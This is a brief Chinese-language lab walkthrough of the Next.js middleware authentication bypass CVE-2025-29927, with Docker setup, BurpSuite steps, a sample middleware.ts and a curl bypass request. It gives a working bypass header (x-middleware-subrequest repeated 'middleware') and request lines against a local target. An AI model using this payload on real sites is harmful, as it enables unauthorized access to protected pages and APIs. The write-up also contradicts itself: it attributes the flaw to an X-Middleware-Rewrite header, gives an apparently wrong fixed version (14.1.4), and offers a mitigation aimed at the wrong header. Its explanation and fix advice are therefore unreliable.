Next.js 中间件鉴权绕过漏洞 CVE-2025-29927
前言:CVE-2025-29927 是一个影响 Next.js 的严重漏洞,源于开发者信任了客户端请求中携带的 X-Middleware-Rewrite
头部字段。攻击者可以手动构造该头部,实现绕过中间件逻辑,访问本应受保护的资源或 API。
影响版本:Next.js < 14.1.4
成因概括:攻击者利用请求头控制中间件行为,重写跳转目标路径,进而绕过路由拦截。
任务一 启动环境
cd next.js/
cd CVE-2025-29927/
docker compose up -d
//3000就是靶机端口
任务二 打开BurpSuite
代理->代理设置->响应拦截规则(勾选)
随便输入一个弱口令 返回的是/login 没有成功
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
//在bp加入一个头部,返回了200成功了
任务三 拓展 | 本地
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';export function middleware(request: NextRequest) {const token = request.cookies.get('token');if (!token) {return NextResponse.redirect(new URL('/login', request.url));}return NextResponse.next();
}//创建中间件 middleware.ts
curl -i http://localhost:3000/api/admin \-H "X-Middleware-Rewrite: /api/public" \-H "Cookie: token=malicious"
//构造绕过请求,模拟攻击
//原本未登录用户访问 /api/admin 会被跳转到 /login,构造该头部后,成功伪装访问 /api/public,绕过登录校验。
任务四 修复
//防御措施
proxy_set_header X-Middleware-Rewrite "";
//中间件中加入请求来源验证机制,防止伪造
官方修复版本:14.1.4
GitHub Release Note